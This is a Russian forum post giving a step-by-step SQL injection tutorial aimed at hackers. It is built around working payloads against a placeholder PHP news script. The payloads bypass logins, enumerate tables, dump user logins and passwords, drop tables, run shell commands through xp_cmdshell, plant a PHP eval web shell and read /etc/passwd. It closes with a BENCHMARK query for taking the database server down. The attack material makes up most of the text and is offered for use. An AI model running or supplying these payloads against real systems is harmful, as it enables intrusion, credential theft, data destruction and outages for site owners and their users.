![]() |
|
| Правила Форума редакция от 22.06.2020 |
|
|||||||
|
|
Окажите посильную поддержку, мы очень надеемся на вас. Реквизиты для переводов ниже. |
|
|
|
Опции темы | Опции просмотра |
Language
|
|
|
#1
|
|
SQL injection полный FAQ
Автор: I-I()/Ib Написанно специально для antichat.ru 0.INTRO Лазив по интернету в поисках хоть какой то инфы по SQL injection ты наверно часто натыкался на статьи либо очень короткие, либо не понятные, либо освещающие одну тему либо еще что-то которые разумеется тебя не устраивали. Когда то и я насобирал где то статей 10-20 по этой теме чтобы вникнуть во многие тонкости этой уязвимости. И вот вспоминая те времена решил написать полный FAQ по этой теме, чтобы так сказать остальные не мучались. И еще одна просьба. Те кто найдет что я что то пропустил, где то ошибся и тд пожалуйста отпишитесь ниже, трудно все таки, все удержать в голове . Кстати это моя первая статья, пожалуйста не кидайтесь помидорами, и не пинайте ногами. Не первый день увлекаясь взломом ты наверно знаешь что такое SQL injection если нет то я это статья для тебя. SQL injection дальше просто инъекция это тип атаки при котором взломщиком модифицируется оригинальный запрос к БД таким образом чтобы при выполнении запроса была выведена нужная ему информация из БД. Для усвоения этой статьи требуется: а) Наличие мозгов б) Прямые руки в) Знания языка SQL В основном эта статья писалась как для MYSQL+PHP но есть и пара примеров с MSSQL. Вообще по-моему самый лучший способ обучиться правильной работе с SQL injection это не прочтение этой статьи, а живая практика, например самому написать уязвимый скрипт, или использовать мой приведенный в самом конце. Кстати советую читать все подряд потому что в каждом пункте есть что то важное для следующего пункта и т.д. К сожалению статья не укладывается в лимит 20000 символов поэтому разбиваю на несколько постов. 1. КАК НАЙТИ SQL INJECTION Это довольно таки просто. Надо вставлять во все поля, переменные, куки двойную и одинарные кавычки. 1.1 Первый случай Начнем с вот такого скрипта http://xxx/news.php?id=1. Предположим что оригинальный запрос к БД выглядит так: Код:
SELECT * FROM news WHERE id='1'; mysql_query(): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' Так как в запросе к БД будет присутствовать лишняя кавычка: Код:
SELECT * FROM news WHERE id='1''; Код:
SELECT * FROM news WHERE id='1'; -- '; Тому что делать с этой уязвимостью посвящен весь пункт 2. 1.2 Второй случай В SQL есть оператор LIKE. Он служит для сравнения строк. Вот допустим скрипт авторизации при вводе логина и пароля запрашивает БД вот так: Код:
SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '123'; Код:
SELECT * FROM users WHERE login LIKE 'Admin' AND pass LIKE '%'; 1.3 Третий случай Что делать если в том же скрипте авторизации отсутствует проверка на кавычку. Имхо будет как минимум глупо использовать эту иньекцию для вывода какой нибудь информаци. Пускай запрос к БД будет типа: Код:
SELECT * FROM users WHERE login='Admin' AND pass='123'; , но мы нашли иньекцию допустим в параметре 'login' и что бы зарегистрироваться под ником 'Admin' нам нужно вписать вместо него что то наподобие этого Admin'; -- то есть часть с проверкой пароля отбрасывается и мы входим под ником 'Admin'. Код:
SELECT * FROM users WHERE login='Admin'; -- ' AND pass='123'; Код:
SELECT * FROM users WHERE login='Admin' AND pass='123' OR login='Admin'; -- '; Код:
SELECT * FROM users WHERE (login='Admin' AND pass='123') OR (login='Admin'); 1.4 Четвертый случай Вернемся к скрипту новостей. Из языка SQL мы должны помнить что числовые параметры не ставятся в кавычки то есть при таком обращении к скрипту http://xxx/news.php?id=1 запрос к БД выглядит вот так: Код:
SELECT * FROM news WHERE id=1; mysql_query(): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' Если это сообщение не выпригивает то можно понять что кавычка фильтруется и нужно тогда вписать http://xxx/news.php?id=1 bla-bla-bla БД не поймет шо это за бла бла бла и выдаст сообщение об ошибке типа: mysql_query(): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1 bla-bla-bla' Если отчет об ошибках выключен тогда проверяем вот так http://xxx/news.php?id=1; -- Должно отобразиться точно также как и http://xxx/news.php?id=1 Теперь можно переходить к пункту 2. 2. ЧТО И КАК МОЖНО ИЗВЛЕЧЬ ИЗ ЭТОГО ПОЛЕЗНОЕ Дальше будет рассматриваться только тип уязвимости описанный в пункте 1.1 а переделать под остальные сможете сами это не трудно ![]() 2.1 Команда UNION Для начала самое полезное это команда UNION (кто не знает лезть в гугл )… Модифицируем обращение к скрипту http://xxx/news.php?id=1' UNION SELECT 1 -- . Запрос к БД у нас получается вот таким: Код:
SELECT * FROM news WHERE id='1' UNION SELECT 1 -- '; Не забывая про то что количества столбцов до UNION и после должны соответствовать наверняка вылезет ошибка (если только в таблице news не одна колонка) наподобие: mysql_query(): The used SELECT statements have a different number of columns В данном случае нам нужно подобрать количиство столбцов (что бы их количество до UNION и после соответсвовало). Делаем это так: http://xxx/news.php?id=1' UNION SELECT 1, 2 -- Ошибка. «The used SELECT statements have a different number of columns» http://xxx/news.php?id=1' UNION SELECT 1,2,3 -- Опять ошибка. … http://xxx/news.php?id=1' UNION SELECT 1,2,3,4,5,6 -- О! Отобразилось точно также как и http://xxx/news.php?id=1 значит количество полей подобрано, то есть их 6 штук… 2.1.1.2 Подбор количества полей(Способ 2) А этот способ основан на подборе количества полей с помощью GROUP BY. То есть запрос такого типа: http://xxx/news.php?id=1' GROUP BY 2 -- Будет отображен без ошибок если количество полей меньше или равно 2. Делаем запрос такого типа: http://xxx/news.php?id=1' GROUP BY 10 -- Упс... Появилась ошибка типа. mysql_query(): Unknown column '10' in 'group statement' Значит столбцов меньше чем 10. Делим 10 на 2. И делаем запрос http://xxx/news.php?id=1' GROUP BY 5 -- Опа ошибки нет значит количество столбцов больше либо равно 5 но меньше чем 10. Теперь берем среднее значение между 5 и 10 это получается вроде 7. Делаем запрос: http://xxx/news.php?id=1' GROUP BY 7 -- Ой опять ошибка... ![]() mysql_query(): Unknown column '7' in 'group statement' Значит количество больше либо равно 5 но меньше чем 7. Ну и дальше делаем запрос http://xxx/news.php?id=1' GROUP BY 6 -- Ошибок нет... Значит число больше либо равно 6 но меньше чем 7. Отсюда следует что искомое число столбцов 6. 2.1.1.3 Подбор количества полей(Способ 3) Тот же самый принцип что и в пункте 2.1.1.2 только используется функция ORDER BY. И немного меняется текст ошибки если полей больше. mysql_query(): Unknown column '10' in 'order clause' 2.1.2 Определение выводимых столбцов Я так думаю что многим из нас точно такая страница как и http://xxx/news.php?id=1 не устроит. Значит нам нужно сделать так чтобы по первому запросу ничего не выводилось (до UNION). Самое простое это поменять "id" с '1' на '-1' (либо на '9999999') http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 -- Теперь у нас кое где в странице должны отобразится какие-нибудь из этих цифр. (Например так как это условно скрипт новости то в «Название новости» будет отображенно допустим 3, «Новость»-4 ну и тд). Теперь чтобы нам получить какую нибудь информацию нам нужно заменять эти цифры в обрщении к скрипту на нужные нам функции. Если цифры не отобразились нигде то остальные подпункты пункта 2.1 можно пропустить. 2.1.3 SIXSS (SQL Injection Cros Site Scripting) Эта таже XSS только через запрос к базе. Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<script>alert('SIXSS')</script>',5,6 --Ну думаю понять не трудно что 4 в странице заменится на <script>alert(‘SIXSS’)</script> и соответственно получится таже XSS. 2.1.4 Названия столбцов/таблиц Если ты знаешь названия таблиц и стобцов в БД этот пункт можно пропустить Если не знаешь… Тут два пути. 2.1.4.1 Названия столбцов/таблиц если есть доступ к INFORMATION_SCHEMA и если версия MYSQL >=5 Таблица INFORMATION_SCHEMA.TABLES содержит информацию о всех таблицах в БД, столбец TABLE_NAME-имена таблиц. http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES -- Вот тут может появится проблема. Так как будет выводится только первая строка из ответа БД. Тогда нам нужно воспользоваться LIMIT вот так: Вывод первой строки: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 -- Вывод второй строки: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 --и т.д. Ну вот мы и нашли таблицу Users. Только это… кхм… стобцы не знаем… Тогда к нам приходит на помощь таблица INFORMATION_SCHEMA.COLUMNS столбец COLUMN_NAME содержит название столбца в таблице TABLE_NAME. Вот так мы извлекаем названия столбцов http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ LIMIT 1,1 -- http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' LIMIT 2,1 -- и т.д. И вот мы нашли поля login, password. 2.1.4.2 Названия столбцов/таблиц если нет доступа к INFORMATION_SCHEMA Это жопный вариант .Тут в силу вступает обычный брутофорс... Пример:http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 FROM Имя_таблицы -- Нужно подбирать Имя_таблицы до тех пор пока не пропадет сообщение об ошибке типа: mysql_query(): Table 'Имя_таблицы' doesn't exist Ну ввели мы к своему счастью Users пропало сообщение об ошибке, и страница отобразилась как при http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 -- что это значит? Это значит то что существет таблица Users и нужно приступить к перебору столбцов. http://xxx/news.php?id=-1' UNION SELECT 1,2,3,Имя_столбца,5,6 FROM Users -- Нужно подбирать Имя_столбца до тех пор пока не пропадет сообщение об ошибке типа: mysql_query():Unknown column 'Имя_столбца'' in 'field list' Там где пропадает сообщение об ошибке значит такой столбец существует. И вот таким образом мы узнали что в таблице Users есть столбцы login, password. 2.1.5 Вывод информации Обращение к скрипту таким образом http://xxx/news.php?id=-1' UNION SELECT 1,2,login,password,5,6 FROM Users LIMIT 1,1 -- Выводит нам логин и пароль первого юзера из таблицы Users. 2.2 Объединение запросов (Не поддерживается Mysql) Запросы разделяются точкой с запятой «;». То есть в одно обращение к БД можно всунуть несколько запросов. 2.2.1 Запрос с DROP Пример: http://xxx/news.php?id=1'; DROP TABLE 'Users'; -- Удалит таблицу Users. 2.2.2 Запрос с EXEC (Только для MsSql) Пример: http://xxx/news.php?id=1'; EXEC master..xp_cmdshell 'ping 10.10.1.2' ; -- Выполнит в командной строке «ping 10.10.1.2» 2.3 Работа с файлами 2.3.1 Запись в файл Есть в MYSQL такая интересная функция типа SELECT … INTO OUTFILE позволяющая записывать информацию в файл. Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '1.txt'; -- Для нее работает несколько ограничений.
А вот что бы нам мешало сделать веб шел? Вот например так: http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<?php eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php'; -- Остается только найти полный путь к корню сайта на сервере и дописать его перед 1.php. Врипринципе можно найти еще одну ошибку по отчету которой будет виден путь на сервере или оставить в корне сервера и подцепить его локальным инклудом, но это уже другая тема. 2.3.2 Чтение файлов Рассмотрим функцию LOAD_FILE Пример: http://xxx/news.php?id=-1' UNION SELECT 1,2,LOAD_FILE('etc/passwd'),4,5,6; Для нее есть также несколько ограничений.
Если функции не удастся прочитать файл то она возвращает NULL. 2.4 DOS атака на SQL сервер В большинстве случаев SQL сервер досят из-за того что больше ничего сделать не могут. Типа не получилось узнать таблицы/столбцы, нет прав на это, нет прав на то и т.д. Я честно говоря против этого метода но все таки... Ближе к делу… Функция BENCHMARK выполняет одно и тоже действие несколько раз. Код:
SELECT BENCHMARK(100000,md5(current_time)); SELECT BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))); Выполняется очень долго честно говоря я даже не дождался... пришлось делать reset .Пример Доса в нашем случае: http://xxx/news.php?id=-1' UNION SELECT 1, 2, BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))), 4, 5, 6; -- Достаточно раз 100 потыкать F5 и «сервер упадет в беспробудный даун» ))).
__________________
Sometimes the life chooses for us.. Если человек идиот он должен знать об этом. (c) me Последний раз редактировалось WeNZeeR; 01.08.2007 в 11:15.. |
|
|
|
|
| Сказали спасибо: |
Похожие темы
|
||||
| Тема | Автор | Раздел | Ответов | Последнее сообщение |
| Полный привод: УАЗ 4х4 | Alexus_A | Архив | 75 | 03.03.2011 08:50 |
| Полный провал! | semiono | UNIX, Linux, MacOs для PC и другие ОС | 5 | 27.10.2008 11:53 |
| PHP Injection | lonejan | Хакинг в глобальной сети WWW | 7 | 06.08.2007 18:27 |
|
|